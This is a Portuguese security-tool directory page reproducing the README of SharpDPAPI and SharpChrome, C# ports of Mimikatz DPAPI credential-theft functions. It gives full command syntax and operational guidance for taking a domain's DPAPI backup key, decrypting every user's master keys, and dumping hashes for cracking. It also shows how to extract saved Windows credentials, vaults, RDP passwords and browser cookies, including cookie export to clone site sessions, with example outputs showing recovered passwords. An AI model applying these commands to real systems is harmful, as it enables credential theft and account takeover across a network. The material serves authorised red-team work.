Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
SharpDPAPI — SharpDPAPI é uma porta em C# de algumas funcionalidades do Mimikatz DPAPI. | Kitploit
Ferramentas/GitHubGitHub/ghostpack/sharpdpapi
Quebra de SenhasFerramentas de Criptografia/DescriptografiaExploraçãoExfiltração de DadosPós-ExploraçãoTestes de PenetraçãoRed Teaming
GitHubghostpack/sharpdpapi

SharpDPAPI

SharpDPAPI é uma porta em C# de algumas funcionalidades do Mimikatz DPAPI.

Ver Repositório
1.4k249há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

SharpDPAPI


SharpDPAPI é uma versão em C# de algumas funcionalidades DPAPI do projeto Mimikatz de @gentilkiwi.

Eu não inventei esta lógica, é simplesmente uma adaptação do Mimikatz para melhor compreender o processo e operacionalizá-lo para se adequar ao nosso fluxo de trabalho.

O subprojeto SharpChrome é uma adaptação do trabalho de @gentilkiwi e @djhohnstein, especificamente do seu projeto SharpChrome. No entanto, esta versão do SharpChrome usa uma versão diferente da biblioteca SQL em C# que suporta abertura sem bloqueio. O SharpChrome é construído como um projeto separado no SharpDPAPI devido ao tamanho da biblioteca SQLite utilizada.

Tanto o Chrome quanto os navegadores Edge baseados em Chromium mais recentes podem ser triados com o SharpChrome.

O SharpChrome também usa uma versão minimizada do código BCrypt P/Invoke de @AArnott, lançado sob a licença MIT.

Se você não está familiarizado com DPAPI, confira este post para mais informações de contexto. Para mais informações sobre Credenciais e Cofres (Vaults) em relação ao DPAPI, consulte a entrada da wiki de Benjamin sobre o assunto.

@harmj0y é o principal autor desta adaptação.

O SharpDPAPI está licenciado sob a licença BSD 3-Clause.

Índice

  • SharpDPAPI
    • Índice
    • Contexto
      • Uso via Linha de Comando do SharpDPAPI
      • Uso via Linha de Comando do SharpChrome
      • Uso Operacional
        • SharpDPAPI
        • SharpChrome
    • Comandos do SharpDPAPI
      • Triagem de Usuário
        • masterkeys
        • credentials
        • vaults
        • rdg
        • keepass
        • certificates
        • triage
      • Triagem de Máquina
        • machinemasterkeys
        • machinecredentials
        • machinevaults
        • certificates /machine
        • machinetriage
      • Diversos
        • ps
        • blob
        • backupkey
        • search
        • SCCM
    • Comandos do SharpChrome
      • logins
      • cookies
      • statekeys
      • backupkey
    • Instruções de Compilação
      • Direcionar outras versões do .NET
      • Nota lateral: Executando SharpDPAPI através do PowerShell
        • Nota lateral da nota lateral: Executando SharpDPAPI via PSRemoting

Contexto

Uso via Linha de Comando do SharpDPAPI

root@kitploit:~
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.20.0

Recuperar a chave de backup DPAPI de um controlador de domínio, opcionalmente especificando um DC e arquivo de saída:

  SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


O comando *search* irá procurar por possíveis blobs DPAPI no registro, arquivos, pastas e blobs base64:

    search /type:registry [/path:HKLM\path\to\key] [/showErrors]
    search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
    search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
    search /type:base64 [/base:<base64 string>]


Triagem de Máquina/SISTEMA:

    machinemasterkeys       -   triar todos os arquivos de chave mestra da máquina acessíveis (eleva para SYSTEM para recuperar o segredo LSA DPAPI_SYSTEM)
    machinecredentials      -   usar 'machinemasterkeys' e depois triar os arquivos de Credencial da máquina
    machinevaults           -   usar 'machinemasterkeys' e depois triar os Cofres da máquina
    machinetriage           -   executar os comandos 'machinecredentials' e 'machinevaults'


Triagem de Usuário:

    Argumentos para o comando 'masterkeys':

        /target:FILE/pasta     -   triar uma chave mestra específica ou uma pasta cheia de chaves mestre (caso contrário, tria as chaves mestre locais)
        /pvk:BASE64...          -   usar um arquivo de chave privada de domínio DPAPI codificado em base64 para primeiro descriptografar as chaves mestre de usuário acessíveis
        /pvk:key.pvk            -   usar um arquivo de chave privada de domínio DPAPI para primeiro descriptografar as chaves mestre de usuário acessíveis
        /password:X             -   descriptografar as chaves mestre do usuário alvo usando uma senha em texto simples (funciona remotamente)
        /ntlm:X                 -   descriptografar as chaves mestre do usuário alvo usando um hash NTLM (funciona remotamente)
        /credkey:X              -   descriptografar as chaves mestre do usuário alvo usando uma credkey DPAPI (SHA1 de domínio ou local, funciona remotamente)
        /rpc                    -   descriptografar as chaves mestre do usuário alvo pedindo ao controlador de domínio que o faça
        /server:SERVER          -   triar um servidor remoto, assumindo acesso de administrador
        /hashes                 -   exibir 'hashes' do arquivo de chave mestra do usuário no formato JTR/Hashcat (sem descriptografia)


    Argumentos para os comandos credentials|vaults|rdg|keepass|triage|blob|ps:

        Descriptografia:
            /unprotect          -   forçar o uso de CryptUnprotectData() para comandos 'ps', 'rdg' ou 'blob'
            /pvk:BASE64...      -   usar um arquivo de chave privada de domínio DPAPI codificado em base64 para primeiro descriptografar as chaves mestre de usuário acessíveis
            /pvk:key.pvk        -   usar um arquivo de chave privada de domínio DPAPI para primeiro descriptografar as chaves mestre de usuário acessíveis
            /password:X         -   descriptografar as chaves mestre do usuário alvo usando uma senha em texto simples (funciona remotamente)
            /ntlm:X             -   descriptografar as chaves mestre do usuário alvo usando um hash NTLM (funciona remotamente)
            /credkey:X          -   descriptografar as chaves mestre do usuário alvo usando uma credkey DPAPI (SHA1 de domínio ou local, funciona remotamente)
            /rpc                -   descriptografar as chaves mestre do usuário alvo pedindo ao controlador de domínio que o faça
            GUID1:SHA1 ...      -   usar uma ou mais chaves mestre GUID:SHA1 para descriptografia
            /mkfile:FILE        -   usar um arquivo com uma ou mais chaves mestre GUID:SHA1 para descriptografia

        Direcionamento:
            /target:FILE/pasta -   triar um local específico de 'Credentials', '.rdg|RDCMan.settings', 'blob' ou 'ps', ou pasta 'Vault'
            /server:SERVER      -   triar um servidor remoto, assumindo acesso de administrador
                                    Nota: deve ser usado com /pvk:KEY ou /password:X
                                    Nota: não aplicável aos comandos 'blob' ou 'ps'


Triagem de Certificados:

    Argumentos para o comando 'certificates':
        /showall                                        -   mostrar todos os arquivos de chave privada descriptografados, não apenas aqueles vinculados a certificados instalados (padrão)
        /machine                                        -   usar o repositório de máquina local para triagem de certificados
        /mkfile | /target                               -   para triagem /machine
        [todos os argumentos de descriptografia da Triagem de Usuário acima]


Nota: na maioria dos casos, use apenas *triage* se estiver visando segredos DPAPI do usuário e *machinetriage* se estiver atrás de segredos DPAPI do SYSTEM.
      Essas funções encapsulam todas as outras funções aplicáveis que podem ser executadas automaticamente.

Uso via Linha de Comando do SharpChrome

root@kitploit:~
  __                 _
 (_  |_   _. ._ ._  /  |_  ._ _  ._ _   _
 __) | | (_| |  |_) \_ | | | (_) | | | (/_                    |
  v1.9.0

Recuperar a chave de backup DPAPI de um controlador de domínio, opcionalmente especificando um DC e arquivo de saída:

  SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


Argumentos globais para os comandos 'cookies', 'logins' e 'statekeys':

    Descriptografia:
        /unprotect          -   forçar o uso de CryptUnprotectData() (padrão para execução sem privilégios)
        /pvk:BASE64...      -   usar um arquivo de chave privada de domínio DPAPI codificado em base64 para primeiro descriptografar as chaves mestre de usuário acessíveis
        /pvk:key.pvk        -   usar um arquivo de chave privada de domínio DPAPI para primeiro descriptografar as chaves mestre de usuário acessíveis
        /password:X         -   descriptografar as chaves mestre do usuário alvo usando uma senha em texto simples (funciona remotamente)
        /ntlm:X             -   descriptografar as chaves mestre do usuário alvo usando um hash NTLM (funciona remotamente)
        /prekey:X           -   descriptografar as chaves mestre do usuário alvo usando uma prekey DPAPI (SHA1 de domínio ou local, funciona remotamente)
        /rpc                -   descriptografar as chaves mestre do usuário alvo pedindo ao controlador de domínio que o faça
        GUID1:SHA1 ...      -   usar uma ou mais chaves mestre GUID:SHA1 para descriptografia
        /statekey:X         -   uma chave de estado AES descriptografada (do comando 'statekey')

    Direcionamento:
        /target:FILE        -   triar um local específico de arquivo 'Cookies', 'Login Data' ou 'Local State'
        /target:C:\Users\X\ -   triar uma pasta de usuário específica para qualquer comando especificado
        /server:SERVER      -   triar um servidor remoto, assumindo acesso de administrador (nota: deve ser usado com /pvk:KEY)
        /browser:X          -   triar 'chrome' (padrão), 'edge' (baseado em Chromium) ou 'slack'

    Saída:
        /format:X           -   exibição 'csv' (padrão) ou 'table'
        /showall            -   mostrar entradas de Login Data com senhas nulas e Cookies expirados em vez de filtrar (padrão)
        /consoleoutfile:X   -   enviar toda a saída do console para um arquivo no disco


Argumentos específicos do comando 'cookies':

        /cookie:"REGEX"     -   retornar apenas cookies onde o nome do cookie corresponde à regex fornecida
        /url:"REGEX"        -   retornar apenas cookies onde a URL do cookie corresponde à regex fornecida
        /format:json        -   exibir valores de cookies em um formato de importação JSON EditThisCookie. Melhor usado com uma regex!
        /setneverexpire     -   definir expirações para cookies exibidos como agora + 100 anos (para saída json)

Uso Operacional

SharpDPAPI

Um dos objetivos com o SharpDPAPI é operacionalizar o trabalho DPAPI de Benjamin de uma forma que se adapte ao nosso fluxo de trabalho.

Exatamente como você utiliza o conjunto de ferramentas dependerá da fase do engajamento em que você se encontra. Em geral, isso se divide em "comprometi o domínio ou não".

Se privilégios de administrador de domínio (ou equivalente) foram obtidos, a chave de backup DPAPI do domínio pode ser recuperada com o comando backupkey (ou com Mimikatz). Esta chave privada de domínio nunca muda e pode descriptografar qualquer chave mestra DPAPI para usuários do domínio. Isso significa que, dada uma chave de backup DPAPI do domínio, um atacante pode descriptografar chaves mestras para qualquer usuário do domínio que possam então ser usadas para descriptografar qualquer Cofre/Credencial/Logins do Chrome/outros blobs DPAPI, etc. A chave recuperada do comando backupkey pode ser usada com os comandos masterkeys, credentials, vaults, rdg ou triage.

Se privilégios de DA não foram alcançados, usar o comando sekurlsa::dpapi do Mimikatz recuperará mapeamentos de chave mestra DPAPI {GUID}:SHA1 de quaisquer chaves mestre carregadas (usuário e SYSTEM) em um determinado sistema (dica: executar dpapi::cache após a extração da chave lhe dará uma tabela organizada). Se você alterar essas chaves para um formato {GUID1}:SHA1 {GUID2}:SHA1..., elas podem ser fornecidas aos comandos credentials, vaults, rdg ou triage. Isso permite triar todos os arquivos de Credencial/Cofres em um sistema para qualquer usuário que esteja atualmente conectado, sem ter que fazer descriptografias arquivo por arquivo.

Alternativamente, se você puder fornecer a senha do usuário alvo, hash NTLM ou prekey DPAPI para comandos de usuário com /password:X, /ntlm:X ou /prekey:X, respectivamente. O campo dpapi da saída sekurlsa::msv do Mimikatz para usuários de domínio pode ser usado como /prekey, enquanto o campo sha1 da saída sekurlsa::msv pode ser usado como /prekey para usuários locais.

Para descriptografar arquivos RDG/RDCMan.settings com o comando rdg, a flag /unprotect usará CryptUnprotectData() para descriptografar quaisquer senhas RDP salvas, se o comando for executado no contexto do usuário que salvou as senhas. Isso pode ser feito a partir de um contexto sem privilégios, sem a necessidade de tocar no LSASS. Para saber por que essa abordagem não é usada para credentials/vaults, veja a documentação de Benjamin aqui.

Para triagem DPAPI específica de máquina, os comandos machinemasterkeys|machinecredentials|machinevaults|machinetriage farão o equivalente de máquina da triagem DPAPI de usuário. Se em um contexto elevado (isto é, você precisa de direitos administrativos locais), o SharpDPAPI irá elevar para privilégios SYSTEM para recuperar o segredo LSA "DPAPI_SYSTEM", que é então usado para descriptografar quaisquer chaves mestre DPAPI de máquina descobertas. Essas chaves são então usadas como tabelas de consulta para credentials/vaults de máquina, etc.

Para mais informações ofensivas sobre DPAPI, confira aqui.

SharpChrome

O SharpChrome é uma implementação específica para Chrome do SharpDPAPI capaz de descriptografar/triar cookies e logins. É construído como um projeto separado no SharpDPAPI devido ao tamanho da biblioteca SQLite utilizada.

Como os Cookies/Login Data do Chrome são salvos sem CRYPTPROTECT_SYSTEM, o CryptUnprotectData() está de volta à mesa. Se o SharpChrome for executado a partir de um contexto não elevado, ele tentará descriptografar quaisquer logins/cookies para o usuário atual usando CryptUnprotectData(). Uma /pvk:[BASE64|file.pvk], tabela de consulta {GUID}:SHA1, /password:X, /ntlm:X, /prekey:X ou /mkfile:FILE de valores {GUID}:SHA1 também podem ser usados para descriptografar valores. Além disso, a biblioteca SQL em C# usada (com algumas modificações) suporta abertura sem bloqueio, o que significa que o Chrome não precisa ser fechado/arquivos alvo não precisam ser copiados para outro local.

Alternativamente, se você puder fornecer a senha do usuário alvo, hash NTLM ou prekey DPAPI para comandos de usuário com /password:X, /ntlm:X ou /prekey:X, respectivamente. O campo dpapi da saída sekurlsa::msv do Mimikatz para usuários de domínio pode ser usado como /prekey, enquanto o campo sha1 da saída sekurlsa::msv pode ser usado como /prekey para usuários locais.

Se o Chrome for versão 80+, uma chave de estado AES é armazenada em AppData\Local\Google\Chrome\User Data\Local State - esta chave é protegida com DPAPI, então podemos usar CryptUnprotectData()/tabelas de consulta pvk/chave mestre para descriptografá-la. Esta chave AES é então usada para proteger novas entradas de cookie e login data. Este também é o processo quando /browser:edge ou /browser:brave é especificado, para triagem dos navegadores Edge baseados em Chromium mais recentes.

Por padrão, cookies e logins são exibidos como csv - isso pode ser alterado com /format:table para saída em tabela, e /format:json para cookies especificamente. A opção json exibe cookies em um formato json que pode ser importado para a extensão Chrome EditThisCookie para fácil reutilização.

O comando cookies também tem argumentos /cookie:REGEX e /url:REGEX para retornar apenas nomes de cookies ou URLs correspondentes à regex fornecida. Isso é útil com /format:json para clonar facilmente o acesso a sites específicos.

Arquivos específicos de cookies/logins/statekey podem ser especificados com /target:X, e uma pasta de usuário pode ser especificada com /target:C:\Users\USER\ para qualquer comando de triagem.

Comandos do SharpDPAPI

Triagem de Usuário

masterkeys

O comando masterkeys irá procurar por quaisquer arquivos de chave mestra de usuário legíveis e descriptografá-los usando uma chave de backup DPAPI de domínio fornecida. Ele retornará um conjunto de mapeamentos de chave mestra {GUID}:SHA1.

/password:X pode ser usado para descriptografar as chaves mestre atuais de um usuário. Note que para máquinas ligadas ao domínio, a senha pode ser fornecida tanto em formato texto simples quanto NTLM. Se /target também for fornecido com /password, o /sid:X completo do SID do domínio do usuário também precisa ser especificado.

A chave de backup do domínio pode estar na forma base64 (/pvk:BASE64...) ou na forma de arquivo (/pvk:key.pvk).

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0

[*] Ação: Triar Arquivos de Chave Mestra do Usuário

[*] Chave Mestra encontrada: C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Chave Mestra encontrada: C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] Cache de chave mestra do usuário:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...

Se nenhum /password ou /pvk for especificado, você pode passar a flag /hashes para despejar os hashes da chave mestra no formato John/Hashcat. Neste modo, os hashes são impressos no formato {GUID}:DPAPImk.

A chave Preferred também é analisada para destacar a chave mestra preferida atual, para que não se gaste esforço quebrando chaves mais antigas.

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /hashes

  __                 _   _       ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3

[*] Ação: Triagem de Arquivo de Chave Mestra DPAPI do Usuário

[*] Irá despejar hashes de chave mestra do usuário

[*] Chave Mestra encontrada: C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Chave Mestra encontrada: C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] Chaves mestra preferidas:

C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a

[*] Hashes de chave mestra do usuário:

{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...(snip)...

credentialsO comando pesquisará por arquivos de Credential e a) os descriptografará com quaisquer chaves mestras "{GUID}:SHA1" fornecidas, b) um com um ou mais mapeamentos de chave mestra {GUID}:SHA1, c) usará uma chave de backup de domínio DPAPI fornecida ( ou ) para primeiro descriptografar quaisquer chaves mestras de usuário (como em ), ou d) uma para descriptografar quaisquer chaves mestras de usuário, que são então usadas como uma tabela de descriptografia de consulta. Os mapeamentos de GUID DPAPI podem ser recuperados com o comando do Mimikatz.

Um arquivo de credencial específico (ou pasta de credenciais) pode ser especificado com /target:FILE ou /target:C:\Folder\. Se um arquivo for especificado, valores {GUID}:SHA1 são necessários, e se uma pasta for especificada, a) valores {GUID}:SHA1 devem ser fornecidos ou b) a pasta deve conter chaves mestras DPAPI e uma chave de backup de domínio /pvk deve ser fornecida.

Se executado de um contexto elevado, os arquivos de Credential de TODOS os usuários serão triados; caso contrário, apenas os arquivos de Credential do usuário atual serão processados.

Usando mapeamentos de chave mestra de domínio {GUID}:SHA1:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

  ...(snip)...

Usando uma chave de backup de domínio DPAPI para primeiro descriptografar quaisquer chaves mestras detectáveis:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

...(snip)...

vaults

O comando vaults pesquisará por Vaults e a) os descriptografará com quaisquer chaves mestras "{GUID}:SHA1" fornecidas, b) um /mkfile:FILE com um ou mais mapeamentos de chave mestra {GUID}:SHA1, c) usará uma chave de backup de domínio DPAPI fornecida (/pvk:BASE64... ou /pvk:key.pvk) para primeiro descriptografar quaisquer chaves mestras de usuário (como em masterkeys), ou d) uma /password:X para descriptografar quaisquer chaves mestras de usuário, que são então usadas como uma tabela de descriptografia de consulta. Os mapeamentos de GUID DPAPI podem ser recuperados com o comando sekurlsa::dpapi do Mimikatz.

A pasta Policy.vpol na pasta do Vault é descriptografada com quaisquer chaves DPAPI fornecidas para recuperar as chaves de descriptografia AES associadas, que são então usadas para descriptografar quaisquer arquivos .vcrd associados.

Uma pasta de vault específica pode ser especificada com /target:C:\Folder\. Nesse caso, a) valores {GUID}:SHA1 devem ser fornecidos ou b) a pasta deve conter chaves mestras DPAPI e uma chave de backup de domínio /pvk deve ser fornecida.

Usando mapeamentos de chave mestra de domínio {GUID}:SHA1:

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

Usando uma chave de backup de domínio DPAPI para primeiro descriptografar quaisquer chaves mestras detectáveis:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

Usando uma chave de backup de domínio DPAPI com uma pasta especificada (ou seja, triagem "offline"):

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Target Vault Folder: C:\Temp\test\


[*] Triaging Vault folder: C:\Temp\test\

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 3/20/2019 6:03:50 AM
    FriendlyName     : Internet Explorer
    Identity         : account
    Resource         : http://www.abc.com/
    Authenticator    : password

rdg

O comando rdg pesquisará por arquivos RDCMan.settings para o usuário atual (ou, se elevado, todos os usuários) e a) os descriptografará com quaisquer chaves mestras "{GUID}:SHA1" fornecidas, b) um /mkfile:FILE com um ou mais mapeamentos de chave mestra {GUID}:SHA1, c) usará uma chave de backup de domínio DPAPI fornecida (/pvk:BASE64... ou /pvk:key.pvk) para primeiro descriptografar quaisquer chaves mestras de usuário (como em masterkeys), ou d) uma /password:X para descriptografar quaisquer chaves mestras de usuário, que são então usadas como uma tabela de descriptografia de consulta. Os mapeamentos de GUID DPAPI podem ser recuperados com o comando sekurlsa::dpapi do Mimikatz.

A flag /unprotect usará CryptUnprotectData() para descriptografar quaisquer senhas RDP salvas, se o comando for executado no contexto do usuário que salvou as senhas. Isso pode ser feito a partir de um contexto não privilegiado, sem a necessidade acessar o LSASS. Para entender por que essa abordagem não é usada para credentials/vaults, veja a documentação de Benjamin aqui.

Um arquivo RDCMan.settings específico, arquivo .RDC (ou pasta de arquivos .RDG) pode ser especificado com /target:FILE ou /target:C:\Folder\. Se um arquivo for especificado, valores {GUID}:SHA1 (ou /unprotect) são necessários, e se uma pasta for especificada, a) valores {GUID}:SHA1 devem ser fornecidos ou b) a pasta deve conter chaves mestras DPAPI e uma chave de backup de domínio /pvk deve ser fornecida.

Este comando descriptografará qualquer informação de senha salva tanto no arquivo RDCMan.settings quanto em quaisquer arquivos .RDG referenciados pelo arquivo RDCMan.settings.

Usando /unprotect para descriptografar quaisquer senhas encontradas:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

Usando mapeamentos de chave mestra de domínio {GUID}:SHA1:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

Usando uma chave de backup de domínio DPAPI para primeiro descriptografar quaisquer chaves mestras detectáveis:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

